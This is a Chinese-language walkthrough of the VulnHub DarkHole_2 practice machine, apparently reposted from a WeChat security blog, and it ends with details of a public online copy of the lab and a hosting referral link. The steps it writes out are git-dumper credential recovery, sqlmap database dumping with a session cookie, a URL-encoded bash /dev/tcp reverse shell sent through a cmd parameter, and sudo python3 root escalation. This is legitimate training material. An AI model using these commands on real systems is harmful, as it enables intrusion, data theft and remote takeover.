进到web界面,发现有个登录界面,尝试弱口令,无果
使用工具扫描一下目录
我们可以看到存在.git目录
存在git泄露,我们使用git-dumper工具来分析一下git文件
安装:
pip3 install git-dumper
使用工具拉取到自己的/tmp目录
切换到tmp目录,查看日志信息
使用git diff 一个个测试
在第二个的时候我们发现了账号和密码
直接使用账号密码登录
登录进去后观察url中含有id=1
猜测存在sql注入
?id=1' and 1=1 --+
页面正常,接着尝试其他的
直接抓取cookie使用sqlmap
sqlmap爆破当前数据库
sqlmap -u http://ip/dashboard.php?id=1 --cookie PHPSESSID=5ji68ki8hsiibafbdaidlbclpb --current-db
获取到数据库名
接下来获取数据库的表名
sqlmap -u http://ip/dashboard.php?id=1 --cookie PHPSESSID=5ji68ki8hsiibafbdaidlbclpb -D darkhole_2 --tables
我们可以看到存在两个表
从 users 表中提取数据
sqlmap -u http://ip/dashboard.php?id=1 --cookie "PHPSESSID=5ji68ki8hsiibafbdaidlbclpb" -D darkhole_2 -T users --dump
没有什么信息,接下来查看下ssh的
看到ssh的账号密码,ssh连接
尝试提权
查看passwd文件
cat /etc/passwd | grep /bin/bash
查看历史命令
在历史命令记录中:wget 下载了一个 反弹shell,然后利用 127.0.0.1?cmd 来执行
查看一下本地服务信息
重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机
这个代码属于用户losy,然后我们就可以使用 SSH 隧道连接端口 9999,然后,访问 127.0.0.1:9999 进行 反弹shell
bash -c 'bash -i >& /dev/tcp/9008 0>&1'
转成url编码
然后vps开始监听
浏览器访问
http://127.0.0.1:9999/?cmd=bash%20-c%20’bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.128%2F9001%200%3E%261’-
或者直接使用curl:
curl http://127.0.0.1:9999/?cmd=bash%20-c%20’bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.128%2F9001%200%3E%261’
看用户,已经反弹成功
查看历史命令
发现密码
登录losy用户
查看权限
发现有root身份执行python3的权限,我们直接使用root提权
写入文件执行
import os;
os.setuid(0);
os.system("/bin/sh")
或者
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
成功提权
0x03 在线靶场
该靶场作为教学目的,会持续放公网上一周,相关配置如下:
IP:
154.37.221.172
docker映射到VPS的端口:
8080 -->web服务
2222 -->ssh服务
9999 -->反弹shell
9008 -->监听端口
靶场每天12点会自动重置,防止有人破坏环境。
在这里,感谢服务器的赞助商,雨云服务商,该服务商已经持续运行5年,不跑路,安全稳定,有需要服务器的师傅,可以在下面的链接进行购买,服务器便宜好用,邀请一个用户,首月还送5折优惠券,链接如下:
https://www.rainyun.com/NDYzNzIw_
原文始发于微信公众号(琴音安全):VulnHub-DarkHole_ 2靶机渗透(文末附在线靶场&玄机邀请码)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论